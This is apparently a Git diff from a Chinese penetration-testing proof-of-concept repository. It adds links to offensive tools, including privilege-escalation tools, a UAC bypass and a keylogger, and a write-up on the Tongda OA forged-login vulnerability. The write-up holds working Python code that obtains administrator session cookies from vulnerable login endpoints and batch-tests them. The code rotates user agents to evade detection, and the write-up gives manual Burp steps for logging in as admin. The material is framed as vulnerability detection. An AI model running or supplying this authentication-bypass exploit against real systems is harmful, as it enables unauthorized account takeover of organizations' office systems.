add 通达OA前台任意用户伪造登录漏洞批量检测

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Mrxn 2020-04-23 13:19:24 +08:00
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- [CVE-2020-10199、CVE-2020-10204漏洞一键检测工具图形化界面Sonatype Nexus <3.21.1](https://github.com/magicming200/CVE-2020-10199_CVE-2020-10204)
- [CVE-2020-2555-Oracle Coherence 反序列化漏洞](https://github.com/wsfengfan/CVE-2020-2555)|[分析文章](https://paper.seebug.org/1141/)
- [cve-2020-5260-Git凭证泄露漏洞](https://github.com/brompwnie/cve-2020-5260)
- [通达OA前台任意用户伪造登录漏洞批量检测](./通达OA前台任意用户伪造登录漏洞批量检测.md)
## <span id="head5"> 提权辅助相关</span>
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- [getAV---windows杀软进程对比工具单文件版](./tools/getAV/)
- [【Windows提权工具】Windows 7 to Windows 10 / Server 2019](https://github.com/CCob/SweetPotato)|[搭配CS的修改版可上线system权限的session](https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato)
- [【Windows提权工具】SweetPotato修改版用于webshell下执行命令](https://github.com/uknowsec/SweetPotato)|[本地编译好的版本](./tools/SweetPotato.zip)|[点击下载或右键另存为](https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/SweetPotato.zip)|[SweetPotato_webshell下执行命令版.pdf](./books/SweetPotato_webshell下执行命令版.pdf)
- [【bypass UAC】Windows 8.1 and 10 UAC bypass abusing WinSxS in "dccw.exe"](https://github.com/L3cr0f/DccwBypassUAC/)
## <span id="head6"> PC</span>
@ -305,6 +307,8 @@
- [pypykatz-用纯Python实现的Mimikatz](https://github.com/skelsec/pypykatz)
- [Flux-Keylogger-具有Web面板的现代Javascript键盘记录器](https://github.com/LimerBoy/Flux-Keylogger)
- [JSINFO-SCAN-递归式寻找域名和api](https://github.com/p1g3/JSINFO-SCAN)
- [FrameScan-GUI 一款python3和Pyqt编写的具有图形化界面的cms漏洞检测框架](https://github.com/qianxiao996/FrameScan-GUI)
- [SRC资产信息聚合网站](https://github.com/cckuailong/InformationGather)
## <span id="head8"> 文章/书籍/教程相关</span>

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**背景**
通达OA是一套办公系统。2020年04月17日, 通达OA官方在更新了一个v11版本安全补丁, 其中修复了一个任意用户伪造登录漏洞。
**漏洞概述**
该漏洞类型为任意用户伪造,未经授权的远程攻击者可以通过精心构造的请求包进行任意用户伪造登录。
**影响版本**
通达OA < 11.5.200417版本
**修复方式**
及时更新11.5版本
遵守网络安全法,仅给出核心脚本:
```python
def http_request(url,session_id):
try:
#print(1111111111)
payload = r'/general/index.php?isIE=0&modify_pwd=0'
print("Trying:" + url + ' ' + '[' + str(left) + '/' + str(countLines) + ']')
#vulurl = url + payload
#print(vulurl)
headers={
'Accept':'*/*',
'Accept-Language':'en',
'User-Agent':'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
'Cookie':session_id
}
#print(headers)
if int(url.split(':')[1].strip('/')) == 443:
url = "https://" + url.split(':')[0]
else:
url = "http://" + url.split(':')[0] + ":" + url.split(':')[1]
vulurl = url + payload
print(vulurl)
r = requests.get(url=vulurl, headers=headers, timeout=10, verify= False)
if r.status_code == 200 and 'user_id' in r.text:
print(colored("[******]" + 'Good Found!' + '\n' + url,"green"))
#printGreen("[+]" + url)
#print(r.text)
with open(path_out,'a') as f:
f.write(vulurl + ' ' + session_id + '\n')
check = 1
return check
else:
print("[-]" + "r.status_code:" + str(r.status_code) + "," + "raise.text:" + r.text)
except Exception as err:
print(err)
```
```python
USER_AGENTS = [
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
"Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
"Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
"Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
"Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
]
headers={}
def getV11Session(url):
checkUrl = url+'/general/login_code.php'
try:
headers["User-Agent"] = choice(USER_AGENTS)
res = requests.get(checkUrl,headers=headers)
resText = str(res.text).split('{')
codeUid = resText[-1].replace('}"}', '').replace('\r\n', '')
getSessUrl = url+'/logincheck_code.php'
res = requests.post(
getSessUrl, data={'CODEUID': '{'+codeUid+'}', 'UID': int(1)},headers=headers)
print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
return res.headers['Set-Cookie']
except:
print('[-]Something Wrong With '+url)
def get2017Session(url):
checkUrl = url+'/ispirit/login_code.php'
try:
headers["User-Agent"] = choice(USER_AGENTS)
res = requests.get(checkUrl,headers=headers)
resText = json.loads(res.text)
codeUid = resText['codeuid']
codeScanUrl = url+'/general/login_code_scan.php'
res = requests.post(codeScanUrl, data={'codeuid': codeUid, 'uid': int(
1), 'source': 'pc', 'type': 'confirm', 'username': 'admin'},headers=headers)
resText = json.loads(res.text)
status = resText['status']
if status == str(1):
getCodeUidUrl = url+'/ispirit/login_code_check.php?codeuid='+codeUid
res = requests.get(getCodeUidUrl)
print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
return res.headers['Set-Cookie']
else:
print('[-]Something Wrong With '+url)
except:
print('[-]Something Wrong With '+url)
def get_session_lists(url):
#url = args.targeturl
session_list = []
choices=[11, 2017]
if 'http://' not in url:
url = 'http://' + url
for version in choices:
if version == 11:
#getV11Session(url)
session_list.append(getV11Session(url))
elif version == 2017:
#get2017Session(url)
session_list.append(get2017Session(url))
print(session_list)
return session_list
```
说下这个漏洞的坑有哪些:
1、这个漏洞不是单纯的get即可是需要发起请求出发漏洞获取到可用的SESSIONID然后替换浏览器Cookie中的SESSIONID才可实现登录为admin
2、SESSIONID根据通达OA版本不同而不同使用目前影响版本有通达OA2017、V11.X<V11.5但根据我实测的结果貌似使用同一个版本的SESSIONID都可以触发漏洞疑似漏洞对版本向下兼容这个有懂的可以说下
3、甲方企业内部自查尽量是采用多线程配合资产管理系统使用最佳
手动复现细节部分burpsuite的repeater:
需要替换三处:
1.地址替换为/general/index.php
2.我们通过poc获取的PHPSESSID
3.把下面不管是什么 encode_type=1 后面的都替换成UID=1 (如图高亮部分)
![](./img/60.png)
然后我们send过去:
![](./img/61.png)
POChttps://github.com/NS-Sp4ce/TongDaOA-Fake-User